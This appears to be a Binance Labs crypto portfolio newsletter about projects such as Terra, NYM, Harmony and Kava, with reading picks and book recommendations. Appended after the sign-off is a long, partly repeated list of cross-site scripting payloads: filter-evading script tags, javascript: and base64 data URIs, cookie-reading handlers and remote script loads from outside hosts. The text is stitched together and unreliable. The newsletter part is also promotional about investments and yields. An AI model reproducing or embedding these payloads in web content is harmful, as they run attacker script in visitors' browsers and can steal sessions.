Monthly Portfolio Updates #2
Terra processed ~$104M in payments. Torus brings you web3 powered, trustless login. Check out key statistics on stablecoin adoption on Dune. Run a node on Band & earn yield on your BNB with Kava.
Still scattered across the globe, still locked down in our tiny apartments, we bring you our Binance Labs monthly update letter #2.
Stay tuned about the progress of our Binance Labs portfolio companies. Make sure to check out what we’ve been reading recently as well as CZ’s book recommendations at the end of the letter.
Portfolio Feature
Harry Halpin, CEO & Co-Founder, NYM.
“Nym provides privacy at the network layer for any blockchain or app. Our incentivized mixnet is built to resist even surveillance from an adversary that can monitor the whole network, keeping your data secure from even nation-state level threats. Learn how to integrate and run a mixnode at https://nymtech.net/docs/”
Join the community: https://t.me/nymchan.
Our Portfolios Are Kicking It… 🚀
Did you know that Terra (LUNA) is 3rd in total transactions fees only behind Bitcoin and Ethereum? This is because of its 1,100,000+ users and ~$104M in processed payments in South Korea. Also, Terra has recently wrapped up its first ever round of Terra Grant Awards. Find out more about Terra’s RFPs here.
Torus has shipped DirectAuth - web2 UI, web3 powered. The modern web has been based, for the longest time, on trusted third parties storing users’ keys. With Torus’ DirectAuth, trust is taken out of the equation and control over digital identity is given back to the user whilst keeping a seamless web2 login flow.
Stablecoin user numbers and growth are currently the most popular dashboard on Dune Analytics. Check out who is leading the race here! Note: only stablecoins on Ethereum.
Harry Halpin, CEO of NYM talked about privacy, mixnets and COVID-19 in an interview with privacy reporter Benjamin Powers on Coindesk. Also, find out how to join NYM’s public testnet here.
Harmony (ONE) celebrates its ONE year Binance Launchpad anniversary and launches BUSD as the next step towards the team’s vision of enabling cross-border finance on Harmony. If you are a developer that wants to build on Harmony, apply for a grant here.
How decentralized are current Oracle implementations? An in-depth analysis from Tellor (TRB). Also, note that Tellor has been recently added to F2Pool – you can start mining TRB now.
Tellor is providing a robust, decentralized alternative to siloed blockchain networks that otherwise rely on centralized data sources for querying off-chain data.
Elrond (ERD) announced its Battle of Nodes, the final step before the Elrond mainnet launch on June 4. In anticipation of the launch, Elrond has teamed up with Binance Staking to offer staking support to all Binance users – ready to stake your ERD?
FIO Protocol creates human-readable wallet addresses that enable greatly enhanced transaction workflows. Check out this demo of FIO enabled Edge and Guarda Wallets here.
Celer (CELR) has launched its latest mainnet upgrade - Orion. EVERYONE can now run a State Channel Node on Ethereum and access the instant payment capabilities provided by Celer's tech.
PhishFort discusses its research on phishing in the crypto space and further elaborates on how companies can protect themselves and their users against such attack vectors.
Band Protocol (BAND), a Binance Launchpad project, set the countdown to its mainnet launch – June 10. Don’t miss out on running a BandChain node to become an integral part of the community.
Kava (KAVA), a Binance Launchpad project, is bringing DeFi to BNB. Mint USDX from your BNBs at attractive yield – starting June 10. Learn more here.
… And We At Binance Are Kicking It Too! 🚀
At Binance Labs, we are always on the lookout to support exceptional technical teams that are on the forefront of building cutting edge technology. Apply for an investment here.
The team at Binance Chain has successfully launched an initial version of the Binance Smart Chain (BSC) Testnet – Rialto. If you are interested in building smart contract applications on top of BSC, you can fill out this form accordingly.
CoinMarketCap continuously iterates on its market pairs and exchange ranking algorithms in its relentless quest to empower users against volume inflation via wash trading. Learn more here.
Binance Research - Website Revamp
Project Pages Powered by IntoTheBlock
The team at Binance Research has entered into a collaboration with IntoTheBlock, one of the leading data providers for machine learning applications to the crypto space. Together, they will create enhanced crypto project pages on the Binance Research website by integrating multiple data indicators and interactive content highlighting on-chain metrics, trading, and other social elements.
What Else We're Reading
Bitcoin for the Open-Minded Skeptic
A great piece (& title) from Matt Huang of Paradigm who briefly comments on the history of gold and paper / fiat currencies to then discuss Bitcoin. Matt lists the properties that constitute a monetary asset and concludes that Bitcoin is in fact embodying those and more, hence making it a monetary asset as well. He then makes a case on why any monetary assets could be defined as bubble assets, to then draw the conclusion that Bitcoin’s end state has to be a bubble in order to become a trusted store of value in the first place.
The Great Monetary Inflation
According to billionaire hedge fund investor Paul Tudor Jones: “We are witnessing the Great Monetary Inflation (GMI) – an unprecedented expansion of every form of money unlike anything the developed world has ever seen.” Jones elaborates on which assets can constitute an inflation hedge and grades those based on a set of criteria. He concludes that his bet is with Bitcoin.
“At the end of the day, the best profit-maximizing strategy is to own the fastest horse. Just own the best performer and not get wed to an intellectual side that might leave you weeping in the performance dust because you thought you were smarter than the market. If I am forced to forecast, my bet is it will be Bitcoin.”
Note: we also learn that Jones had bought Bitcoin low and sold high in 2017. Bravo.
The Crypto Price-Innovation Cycle
“Anecdotally, of the hundreds of conversations with crypto founders we’ve had, we often hear stories like: ‘I heard about crypto in [2011, 2013, 2017] when the prices spiked and everyone was talking about it. At first, I thought it was just about money, but then I started reading white papers and blog posts, learned more about the potential of the technology, and eventually fell in love with it.’” Chris and Eddy from a16z crunch the numbers to validate and visualize their anecdotal findings.
CZ's Book Recommendations
Lastly, three book recommendations from CZ for the days of lockdown:
The Culture Code: The Secrets of Highly Successful Groups by Daniel Coyle. At Binance, we promote freedom, but it tends to come with chaos too. This book illustrates how a less structured, seemingly chaotic organization can be highly effective.
Economics in One Lesson by Henry Hazlitt. More than 60 years have passed since this book was first published, but there are few books that better encapsulate the inner workings of economics than this one. Again, this book shows how the economy should work, what governments should and should not do. Why some of the common concepts we are being brainwashed with are fallacies.
Team Topologies by Matthew Skelton and Manuel Pais. This book talks about organizing business and technology for fast flow. It also goes into detail about how organizational structures dictate system architectures. How different types of team structures work best for different types of systems or platforms. This book helps our team understand some aspects of why Binance is structured the way it is.
If you find a great analysis, a thoughtful piece, or a fascinating book that is worth sharing, please send it to labs@binance.com and we’ll share with everyone.
Best,
The Binance Labs Team
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<img/	  src=`~` onerror=prompt(1)>
<form><iframe 	  src="javascript:alert(1)" 	;>
<a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a
http://www.google<script .com>alert(document.location)</script
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
<img/src=@  onerror = prompt('1')
<style/onload=prompt('XSS')
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
�</form><input type="date" onfocus="alert(1)">
<form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='<body onload=prompt(1)>'>
<a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=<!--	> alert (1)>
<///style///><span %2F onmousemove='alert(1)'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1)
"><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert(1)'>^__^
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT:alert(1)">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript:alert(document.cookie)>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>
<svg><script ?>alert(1)
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript:\u0061le%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=<!-->
alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//
confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=data:text/javascript,alert(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript:alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�></SCRIPT>�>�><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG ���><SCRIPT>alert(�XSS�)</SCRIPT>�>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=�jav ascript:alert(�XSS�);�>
<IMG SRC=�jav	ascript:alert(�XSS�);�>
<<SCRIPT>alert(�XSS�);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
�><s�%2b�cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<BODY BACKGROUND=�javascript:alert(�XSS�)�>
<BODY ONLOAD=alert(�XSS�)>
<INPUT TYPE=�IMAGE� SRC=�javascript:alert(�XSS�);�>
<IMG SRC=�javascript:alert(�XSS�)�
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert("XSS")>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert('XSS')</script>
<script>alert('XSS');</script>
<script>alert('XSS')</script>
'><script>alert('XSS')</script>
<script>alert(/XSS/)</script>
<script>alert(/XSS/)</script>
</script><script>alert(1)</script>
'; alert(1);
')alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert('XSS')>
<IMG SRC='javascript:alert('XSS');'>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<img src=xss onerror=alert(1)>
<iframe %00 src="	javascript:prompt(1)	"%00>
<svg><style>{font-family:'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT:confirm(1)"
<sVg><scRipt %00>alert(1) {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript:confirm(1)"
<img src=`%00`
 onerror=alert(1)

<script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
"><h1/onmouseover='\u0061lert(1)'>%00
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<img/	  src=`~` onerror=prompt(1)>
<form><iframe 	  src="javascript:alert(1)" 	;>
<a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a
http://www.google<script .com>alert(document.location)</script
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
<img/src=@  onerror = prompt('1')
<style/onload=prompt('XSS')
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
�</form><input type="date" onfocus="alert(1)">
<form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='<body onload=prompt(1)>'>
<a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=<!--	> alert (1)>
<///style///><span %2F onmousemove='alert(1)'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1)
"><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert(1)'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT:alert(1)
//<form/action=javascript:alert(document.cookie)><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript: javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
<a href="javascript:\u0061le%72t(1)"><button>
<div onmouseover='alert(1)'>DIV</div>
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT:alert(1)">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript:alert(document.cookie)>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>
<svg><script ?>alert(1)
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>